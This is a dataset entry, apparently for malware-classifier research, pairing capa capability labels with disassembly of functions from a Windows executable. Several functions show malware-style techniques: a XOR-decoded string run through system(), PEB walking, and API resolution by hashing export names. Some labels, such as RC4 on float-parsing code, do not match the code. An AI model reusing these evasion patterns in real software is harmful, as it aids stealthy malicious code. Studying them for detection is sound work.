joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140035590
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x1400355c1
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x1401f6d48]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x1401f6d58]
lea rdx, [rdi + rdi]
call fcn.14002d160
mov rax, qword [0x1401f6d48]
lea r9, [rdi - 1]
mov qword [0x1401f6d70], r9
mov qword [0x1401f6d78], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x140035734
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x1401f6d58]
mov r9, qword [r11]
cmp r9, rbx
jne 0x140035680
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x1400356f5
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x1400356bd
mov r10, qword [rdx]
cmp r10, rax
je 0x1400356b7
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x1400356f5
cmp r9, rdx
je 0x1400356d1
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x140035709
cmp r9, rdx
jne 0x1400356c2
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x14003572f
mov r9, qword [0x1401f6d70]
jmp 0x140035631
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x1400356f5
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140036100
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1400fb0c0]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
mov ebx, edx
mov r8, rcx
test al, al
je 0x140036140
cmp al, 0x25
jne 0x140036134
cmp byte [r8 + 1], al
jne 0x140036140
inc r8
movzx eax, byte [r8 + 1]
inc r8
test al, al
jne 0x140036127
movzx edx, byte [r8]
cmp dl, 0x25
jne 0x14003629e
cmp byte [r8 + 1], dl
je 0x14003629e
lea r11, [rsp + 0x20]
mov r9, r8
nop
lea eax, [rdx - 0x41]
movsx r10d, dl
cmp al, 0x19
ja 0x14003617d
lea ecx, [r10 - 0x41]
mov eax, 1
shl eax, cl
test eax, 0x900
je 0x1400361a5
sub dl, 0x61
cmp dl, 0x19
ja 0x140036197
lea ecx, [r10 - 0x61]
mov eax, 1
shl eax, cl
test eax, 0x2480a80
je 0x1400361a5
movzx edx, byte [r9 + 1]
inc r9
test dl, dl
jne 0x140036160
jmp 0x1400361a8
inc r9
cmp r8, r9
jae 0x1400361df
movabs rdx, 0x800000000000009
nop word [rax + rax]
movzx ecx, byte [r8]
inc r8
lea eax, [rcx - 0x24]
cmp al, 0x3b
ja 0x1400361d4
bt rdx, rax
jb 0x1400361da
mov byte [r11], cl
inc r11
cmp r8, r9
jb 0x1400361c0
xorps xmm3, xmm3
mov byte [r11], 0
cvtss2sd xmm3, xmm2
lea r8, [rsp + 0x20]
mov edx, 0x40
lea rcx, [rsp + 0x40]
movq r9, xmm3
call fcn.1400078a0
cmp byte [rsp + 0x40], 0x20
lea rcx, [rsp + 0x40]
jne 0x140036218
nop
inc rcx
cmp byte [rcx], 0x20
je 0x140036210
lea eax, [rbx - 8]
cmp eax, 1
jbe 0x14003628c
movzx r8d, byte [rcx]
movzx eax, r8b
cmp r8b, 0x2d
jne 0x140036238
lea rax, [rcx + 1]
mov rcx, rax
movzx eax, byte [rax]
cmp al, 0x2b
lea rdx, [rcx + 1]
xorps xmm1, xmm1
cmovne rdx, rcx
movzx eax, byte [rdx]
cmp al, 0x30
jl 0x14003627a
movss xmm2, dword [0x1400e670c]
cmp al, 0x39
ja 0x14003627a
movsx eax, byte [rdx]
inc rdx
sub eax, 0x30
mulss xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rdx]
cvtdq2ps xmm0, xmm0
addss xmm0, xmm1
movaps xmm1, xmm0
cmp al, 0x30
jge 0x140036254
cmp r8b, 0x2d
jne 0x140036299
xorps xmm1, xmmword [0x1400e6e60]
movaps xmm0, xmm1
jmp 0x1400362a1
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
movaps xmm0, xmm1
jmp 0x1400362a1
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400ca400
add rsp, 0x90
pop rbx
ret
Function at 0x1400362c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1400fb0c0]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
mov ebx, edx
mov r8, rcx
test al, al
je 0x140036300
cmp al, 0x25
jne 0x1400362f4
cmp byte [r8 + 1], al
jne 0x140036300
inc r8
movzx eax, byte [r8 + 1]
inc r8
test al, al
jne 0x1400362e7
movzx edx, byte [r8]
cmp dl, 0x25
jne 0x140036458
cmp byte [r8 + 1], dl
je 0x140036458
lea r11, [rsp + 0x20]
mov r9, r8
nop
lea eax, [rdx - 0x41]
movsx r10d, dl
cmp al, 0x19
ja 0x14003633d
lea ecx, [r10 - 0x41]
mov eax, 1
shl eax, cl
test eax, 0x900
je 0x140036365
sub dl, 0x61
cmp dl, 0x19
ja 0x140036357
lea ecx, [r10 - 0x61]
mov eax, 1
shl eax, cl
test eax, 0x2480a80
je 0x140036365
movzx edx, byte [r9 + 1]
inc r9
test dl, dl
jne 0x140036320
jmp 0x140036368
inc r9
cmp r8, r9
jae 0x14003639f
movabs rdx, 0x800000000000009
nop word [rax + rax]
movzx ecx, byte [r8]
inc r8
lea eax, [rcx - 0x24]
cmp al, 0x3b
ja 0x140036394
bt rdx, rax
jb 0x14003639a
mov byte [r11], cl
inc r11
cmp r8, r9
jb 0x140036380
movaps xmm3, xmm2
mov byte [r11], 0
movq r9, xmm2
lea r8, [rsp + 0x20]
mov edx, 0x40
lea rcx, [rsp + 0x40]
call fcn.1400078a0
cmp byte [rsp + 0x40], 0x20
lea rcx, [rsp + 0x40]
jne 0x1400363d8
nop dword [rax + rax]
inc rcx
cmp byte [rcx], 0x20
je 0x1400363d0
lea eax, [rbx - 8]
cmp eax, 1
jbe 0x14003644a
movzx r8d, byte [rcx]
movzx eax, r8b
cmp r8b, 0x2d
jne 0x1400363f8
lea rax, [rcx + 1]
mov rcx, rax
movzx eax, byte [rax]
cmp al, 0x2b
lea rdx, [rcx + 1]
xorps xmm1, xmm1
cmovne rdx, rcx
movzx eax, byte [rdx]
cmp al, 0x30
jl 0x140036438
movsd xmm2, qword [0x1400e6690]
cmp al, 0x39
ja 0x140036438
movsx eax, byte [rdx]
inc rdx
sub eax, 0x30
mulsd xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rdx]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
cmp al, 0x30
jge 0x140036414
cmp r8b, 0x2d
jne 0x140036453
xorps xmm1, xmmword [0x1400e6e50]
movaps xmm0, xmm1
jmp 0x14003645b
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
movaps xmm1, xmm0
movaps xmm0, xmm1
jmp 0x14003645b
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400ca400
add rsp, 0x90
pop rbx
ret
Function at 0x140041870
Capabilities:
Encode data using xor
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov byte [rbp - 0x30], 0xf4
xor r8d, r8d
mov byte [rbp - 0x2f], 0xee
mov r10d, reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x2e], 0xfd
movabs r9, 0xd0884672a3b978a4
mov byte [rbp - 0x2d], 0xeb
mov byte [rbp - 0x2c], 0xea
mov byte [rbp - 0x2b], 0xeb
mov byte [rbp - 0x2a], 0xe5
mov byte [rbp - 0x29], 0xed
mov byte [rbp - 0x28], Ordinal_143
mov byte [rbp - 0x27], 0x85
mov byte [rbp - 0x26], 0xee
mov byte [rbp - 0x25], 0x8b
mov byte [rbp - 0x24], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp - 0x23], 0xf0
mov byte [rbp - 0x22], 0xff
mov byte [rbp - 0x21], 0x9e
mov byte [rbp - 0x20], 0xc3
mov byte [rbp - 0x1f], 0xc9
mov byte [rbp - 0x1e], 0xdd
mov byte [rbp - 0x1d], Ordinal_217
mov byte [rbp - 0x1c], 0xde
mov byte [rbp - 0x1b], 0xc1
mov byte [rbp - 0x1a], 0xcd
mov byte [rbp - 0x19], 0x9f
mov byte [rbp - 0x18], 0xdb
mov byte [rbp - 0x17], 0xc2
mov byte [rbp - 0x16], 0xdd
mov byte [rbp - 0x15], 0x9b
mov byte [rbp - 0x14], 0xfa
mov byte [rbp - 0x13], 0xf7
mov byte [rbp - 0x12], Ordinal_143
mov byte [rbp - 0x11], 0x9b
mov byte [rbp - 0x10], Ordinal_143
mov byte [rbp - 0xf], 0x83
mov byte [rbp - 0xe], 0xce
movzx eax, byte [rbp - 0x30]
nop dword [rax]
movzx eax, byte [rbp + r8 - 0x30]
mov rcx, r8
and ecx, r10d
mov rdx, r9
cmp rcx, r10
cmovae rcx, r10
shl cl, 2
shr rdx, cl
and dl, r10b
xor dl, al
lea eax, [r8 - 0x5c]
xor dl, al
mov byte [rbp + r8 - 0x30], dl
inc r8
cmp r8, 0x23
jb 0x140041920
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x50
pop rbp
ret
Function at 0x1400462f0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x30
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rbx, rcx
mov byte [rax - 0x18], 0x55
xor r8d, r8d
mov byte [rax - 0x17], 0x44
mov r11d, reloc.WS2_32.dll_ntohs
mov byte [rax - 0x16], 0x49
movabs r10, 0x972a3e994f278d34
mov byte [rax - 0x15], 0x50
mov byte [rax - 0x14], 0x4d
mov byte [rax - 0x13], 0x1b
mov byte [rax - 0x12], 0xf
mov byte [rax - 0x11], 0x1f
mov byte [rax - 0x10], 0x35
movzx eax, byte [rax - 0x18]
movzx eax, byte [rsp + r8 + 0x20]
mov rcx, r8
and ecx, r11d
mov rdx, r10
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
shr rdx, cl
and dl, r11b
xor dl, al
lea eax, [r8 + 0x34]
xor dl, al
mov byte [rsp + r8 + 0x20], dl
inc r8
cmp r8, 9
jb 0x140046341
lea rdx, [rsp + 0x20]
mov rcx, r9
call fcn.140038a10
mov rcx, rax
mov rdx, rbx
call fcn.140038a10
lea rdx, [0x1400540a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140046427
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140046427
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x10330a6
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140046422
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140046400
cmp r8d, 0x7e6102e9
je 0x14004642c
test r9d, r9d
jne 0x1400463e0
mov rax, qword [rax]
jmp 0x1400463b0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xbb8
add rax, r10
call rax
mov rbx, qword [rsp + 0x40]
mov qword [0], 1
add rsp, 0x30
pop rdi
ret
Function at 0x14004a020
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x1401f6b48]
test rax, rax
jne 0x14004a256
xor ebx, ebx
mov dword [rsp + 0xb8], ebx
mov r11d, 0x289aedab
mov dword [rsp + 0xbc], r11d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rcx]
mov qword [rsp + 0x40], rdx
mov r15, rdx
mov qword [rsp + 0x48], rdx
mov rax, rdx
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x50], ax
test ebx, ebx
je 0x14004a0d5
mov rcx, qword [rsp + 0x58]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov r8d, 0x85e71d57
mov qword [rsp + 0x30], rcx
cmp rcx, r9
je 0x14004a0cc
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
jmp 0x14004a0af
cmp r8d, ebx
jne 0x14004a22f
mov r10, qword [rdx + 0x30]
mov qword [rsp + 0x68], r10
movsxd rax, dword [r10 + 0x3c]
mov r14, qword [rax + r10 + 0x88]
mov qword [rsp + 0xc0], r14
mov r8d, r14d
add r8, r10
mov qword [rsp + 0x70], r8
shr r14, 0x20
mov dword [rsp + 0x60], r14d
cmp r8, r10
je 0x14004a22f
mov edi, dword [r8 + 0x18]
mov dword [rsp + 0x20], edi
nop word [rax + rax]
mov eax, edi
dec edi
mov dword [rsp + 0x20], edi
test eax, eax
je 0x14004a22f
mov ecx, dword [r8 + 0x20]
add rcx, r10
mov eax, dword [rcx + rdi*4]
add rax, r10
mov qword [rsp + 0x38], rax
mov r9d, 0x85e71d57
nop dword [rax + rax]
movsx ecx, byte [rax]
inc rax
mov qword [rsp + 0x38], rax
test cl, cl
jne 0x14004a220
cmp r9d, r11d
jne 0x14004a21b
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [r8 + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
cmp rdx, r8
jbe 0x14004a24c
lea rax, [r8 + r14]
cmp rdx, rax
jae 0x14004a24c
mov dword [rsp + 0xb0], 0x85e71d57
mov ecx, 0x85e71d57
mov dword [rsp + 0xb4], ecx
mov r8d, ecx
mov qword [rsp + 0x28], rdx
movsx eax, byte [rdx]
cmp al, 0x2e
je 0x14004a1d7
xor eax, r8d
imul r8d, eax, 0x1000193
mov dword [rsp + 0xb0], r8d
inc rdx
jmp 0x14004a1b4
inc rdx
mov qword [rsp + 0x28], rdx
movsx eax, byte [rdx]
test al, al
je 0x14004a1f7
xor eax, ecx
imul ecx, eax, 0x1000193
mov dword [rsp + 0xb4], ecx
jmp 0x14004a1d7
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
mov rdx, qword [r15]
mov qword [rsp + 0x40], rdx
mov r11d, dword [rsp + 0xbc]
mov ebx, eax
jmp 0x14004a22f
jmp 0x14004a120
xor ecx, r9d
imul r9d, ecx, 0x1000193
jmp 0x14004a150
mov rdx, qword [rdx]
mov rax, rdx
mov qword [rsp + 0x40], rdx
cmp rdx, r15
je 0x14004a24a
cmp qword [rdx + 0x30], 0
jne 0x14004a080
xor edx, edx
mov qword [0x1401f6b48], rdx
mov rax, rdx
mov ecx, 0x13333337
call rax
jmp 0x14004a261
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x14004cf20
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x60
mov rbx, rcx
mov qword [rsp + 0x20], rcx
xor edi, edi
mov byte [rax - 0x48], 0xdc
mov byte [rax - 0x47], 0xe3
mov byte [rax - 0x46], 0xe0
mov byte [rax - 0x45], 0xe4
mov byte [rax - 0x44], 0xea
mov byte [rax - 0x43], 0xec
mov byte [rax - 0x42], 0xff
mov byte [rax - 0x41], 0xeb
mov byte [rax - 0x40], 0xa4
mov byte [rax - 0x3f], 0xe8
mov byte [rax - 0x3e], 0xe3
mov byte [rax - 0x3d], 0xfa
mov byte [rax - 0x3c], 0xf4
mov byte [rax - 0x3b], 0x9c
movzx eax, byte [rax - 0x48]
mov r9d, edi
movabs r11, 0xdf840d43095e186
mov r10, r11
lea rax, [rsp + 0x20]
sub r10, rax
mov esi, reloc.WS2_32.dll_ntohs
nop dword [rax]
nop word [rax + rax]
lea r8, [rsp + 0x20]
add r8, r9
mov rcx, r9
and ecx, esi
cmp rcx, rsi
cmovae rcx, rsi
shl cl, 2
mov rdx, r11
shr rdx, cl
and dl, sil
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x20], dl
inc r9
cmp r9, 0xe
jb 0x14004cfa0
lea rcx, [rsp + 0x38]
call fcn.14004cc70
nop
lea rcx, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x14004cff1
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.140003250
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14004d06f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d06a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d06a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca464
mov rax, rbx
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x14004ff00
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x14004ff21
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14004ff4e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14004ff50
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14004ffa9
test ecx, ecx
jle 0x14004ff89
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14004ffa9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14004ffa9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
Function at 0x14004ffd0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14004fff2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140050001
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140050024
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140050026
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140050062
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400500fe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14005009d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400500de
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400500fe
cmp rbx, rax
ja 0x1400500b0
test rbx, rbx
je 0x1400500fe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
call rdi
jmp rsi
Function at 0x140050570
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400fb0c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14005059d
xor eax, eax
jmp 0x140050709
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400505d7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400505d7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140050709
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400506fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14005061a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140050645
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140050701
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400506b4
sub eax, 1
je 0x1400506b4
cmp eax, 2
jne 0x1400506fc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140050701
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400506e2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400506fc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140050701
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400ca400
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140052590
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400fb0c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140052663
cmp byte [rcx + 0x71], 0
je 0x140052663
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14005265f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
